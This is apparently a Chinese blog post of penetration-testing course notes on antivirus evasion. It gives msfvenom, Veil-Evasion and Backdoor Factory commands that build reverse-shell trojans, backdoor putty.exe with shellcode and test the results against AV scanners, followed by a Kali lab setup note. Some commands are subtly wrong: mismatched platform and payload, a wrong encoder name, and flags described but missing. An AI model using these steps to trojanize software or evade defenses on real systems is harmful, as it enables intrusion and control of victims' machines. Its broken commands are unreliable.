Kali Linux渗透测试——免杀基础

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

一、基础概念

(一)恶意软件

在用户非自愿情况下执行安装,具有控制、窃取、勒索、攻击等恶意功能的软件,基本分类如下:

  • 病毒:独立存在或者插入在计算机程序中的恶意代码,可通过隐蔽复制进行传播
  • 蠕虫:可以通过网络进行传播病毒
  • 木马:通过伪装诱使用户运行程序,达到远程控制、破坏系统等目的,一般不会通过复制传播,不会感染其他文件RAT(Remote Access Trojan)即远程访问木马
  • 键盘记录:自动记录键盘键入内容
  • 僵尸程序:利用感染主机作为僵尸机,在未授权情况下对第三方发起攻击或完成恶意操作
  • 流氓软件:跟踪上网行为,完成广告弹窗、浏览器劫持、泄漏隐私信息等非授权操作
  • 勒索软件:限制系统文件资源访问,直至向攻击者做出妥协
  • 广告程序:插入未经授权的广告,赚取黑色利润

随着技术发展其分类边界愈加模糊,恶意软件常具备以上多种特点。常见RAT软件包括:灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore等。

(二)防护手段

恶意软件最主要的防护手段包括杀毒/防毒软件、防火墙、IPS、IDS等产品,这些产品都具有AV(Anti-Virus)功能,其检测原理大致分为三类:

  • 静态检测:基于二进制文件中特征字符的黑名单检测方法,包括检测恶意软件本身的特征字符,以及加密工具的特征字符,优点是快速方便,对已知的特征字符查找准确率较高,缺点是容易被0day木马和新型加密绕过。

  • 动态检测:基于木马程序执行时的特征行为进行检测,可以弥补静态检测不能查出0day木马和新型加密的缺陷,但该技术尚未成熟,存在误杀漏杀情况。

  • 日志检测:基于大量日志文件分析并建立模型来检测出异常文件,优点是当日志分析量较大时准确性较高,缺点是当日志量较小时难以建立正确模型,存在误杀漏杀情况,而且分析巨量日志文件使得处理能力和效率较低。

(三)免杀技术

攻击者可以通过转换恶意软件的方法绕过安全防护机制,基本方法如下:

  • 绕过二进制文件的特征字符检测:在已有代码基础上替换、擦除、篡改,或者编写新的恶意代码
  • 加密:使得二进制文件的特征字符不可读,可以在运行时分片分段解密执行,注入进程或AV不检查的白名单文件中
  • 内存运行:将恶意代码置于内存运行,以绕过一些基于文件系统进行检测的AV程序

注意:由于AV不仅检查恶意软件本身的特征字符,还会检查加密工具的特征字符,所以恶意软件在经过一些 知名加密工具 加密后,可能导致被AV检测出的可能性会更大。编写私有恶意软件,或使用独有加密工具可以实现更好的免杀功能。

单一AV厂商的病毒库很难达到100%全覆盖,一些网站集成多种AV检测引擎,提供更好的病毒检测功能,甚至某些AV软件没有自己的病毒库,直接调用这些网站提供的接口:

二、工具介绍

(一)Msfvenom

基于Metasploit的木马脚本生成工具,基本使用方法如下:

# 首先生成木马脚本
msfvenom --platform linux -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.11.129 LPORT=4444 -b "0" -e x86/shikata -i 9 -f elf -o file.bin
# -p:选择payload
# -e:编码方式
# -b:去掉坏字符
# -i:迭代编码次数
# -f:生成文件格式
# -o:生成文件名称
# LHOST、LPORT:payload运行后要回连的主机和端口,也是本机要侦听的端口

# 然后运行msfconsole,在本机开启侦听端口
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp 
set LHOST 10.10.11.129
set LPORT 4444
run

# 最后上传木马脚本并在靶机运行,取得回连shell,获取控制权

可以在已有模板插入恶意代码,不破坏原程序的功能和使用,每次运行都被重新激活运行:

msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -f exe -o 1.exe
# -x和-k参数一般同时使用
# -x:表示与现有软件绑定在一起
# -k:表示在现有程序基础上另开一个线程运行,这样才不会覆盖原程序

注意:类似Msfvenom这种知名木马脚本生成工具,其处理文件的特征字符串已被绝大多数AV软件收录,所以查杀率很高,实际应用中免杀效果并不理想。

(二)Veil-evasion

1.基本介绍

属于Veil-framework框架的一部分,由Python语言编写,用于将已有payload做加密、编码等变换,从而实现免杀,具有以下特点:

  • 集成msf payload,常配合Metasploit使用
  • 集成多种进程注入技术
  • 集成多种第三方工具如:Hypersion、PEScrambler、BackDoor Factory等
  • 集成多种开发打包运行环境如:Python、C#、C等
2.使用方法

通过veil-evasion命令运行,根据菜单向导配置payload,然后generate生成payload,如下图所示:

Veil-Evasion运行界面

图1 Veil-Evasion运行界面

默认生成的payload保存在/var/lib/veil-evasion/output/compiled/目录下,配合其使用的服务端命令以rc脚本文件的形式保存在/var/lib/veil-evasion/output/handlers/目录中,用于结合Metasploit使用,可以通过msfconsole -r payload.rc命令调用脚本文件。

(三)Backdoor-factory

1.基本介绍

由python语言开发的后门工具,适用于制作或绑定Windows PE和Linux ELF木马脚本文件。BDF可将shellcode代码patch进模板程序,躲避AV查杀,可以不破坏模板程序的功能和使用,每次运行文件shellcode都被重新激活运行,类似Metasploit,但存在一定区别如下:

  • Metasploit:在原有二进制文件的基础上,增加完整shellcode片段,跳转执行。
  • BDF:将shellcode划分不同大小代码块,放置于模板文件的代码缝隙中,shellcode在不同的代码缝隙跳转执行。代码缝隙指二进制文件中超过两个字节的连续0x00区域(代码片段间区域),代码缝隙是由编译器形成的,不同编译器对同一源文件编译的结果不同。

注意:存在一定概率文件会被patch坏掉,某些受保护的二进制程序也无法进行patch。

2.使用方法

模板文件以putty.exe为例,注意这里有个坑,用在kali中用apt install下载的backdoor-factory不能识别可执行文件,提示putty.exe not a PE File,我们需要在GitHub自行下载,并安装capstone包:

git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.py
pip3 install capstone

./backdoor.py -f ~/Desktop/putty.exe -S
# 检查putty.exe是否支持代码注入

./backdoor.py -f ~/Desktop/putty.exe -s show
# 显示可插入putty.exe的payload

./backdoor.py -f ~/Desktop/putty.exe -c 
# 查看putty.exe的代码缝隙

将payload作为整个section添加到文件末尾成功率高,但是免杀效果差;将payload划分为多个section添加到文件代码缝隙中成功率低,但是免杀效果好。

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444
# 默认命令将payload作为整个section插入到文件一个代码缝隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -J
# -J:将payload划分为多个section添加到文件代码缝隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -a 
# -a:将payload作为整个section添加到文件末尾

payload插入后将putty.exe保存在backdoored目录下,将其上传至目标靶机,结合Metasploit使用:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# 注意payload要选择x64平台meterpreter,否则可能运行失败
set LHOST 10.10.11.129
set LPORT 4444
run -j

最后在靶机中运行putty.exe,取得shell控制权。将运用-a参数生成的putty.exe传到VirSCAN检测,效果还是可以的,检测结果如下图所示:
VirSCAN检测结果

图2 VirSCAN检测结果

  • 1
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要搭建Kali Linux渗透测试环境,你可以使用虚拟化技术,在电脑中模拟一个计算机环境来进行渗透测试。这样做的好处是可以放心地进行测试,而不用担心法律问题。你可以使用VMware Workstation软件搭建Kali Linux作为渗透测试实验平台,同时搭建Metasploitable作为渗透测试目标。具体操作可以分为三个步骤: 1. 虚拟机的搭建:使用VMware Workstation软件创建一个新的虚拟机,根据向导选择相应的操作系统和配置。你可以选择Kali Linux作为虚拟机的操作系统。 2. Kali Linux系统的安装:在虚拟机中安装Kali Linux操作系统。你可以下载Kali Linux的ISO安装文件,然后将其加载到虚拟机中,并按照安装向导进行安装。 3. Metasploitable环境的搭建:安装完Kali Linux后,你可以在虚拟机中下载和安装Metasploitable。然后,你可以使用Kali Linux中的默认浏览器(如IceWeasel)访问Metasploitable虚拟机的地址,以验证连接是否成功。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [kali渗透技术实战——搭建渗透测试环境](https://blog.csdn.net/weixin_54787877/article/details/113922900)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值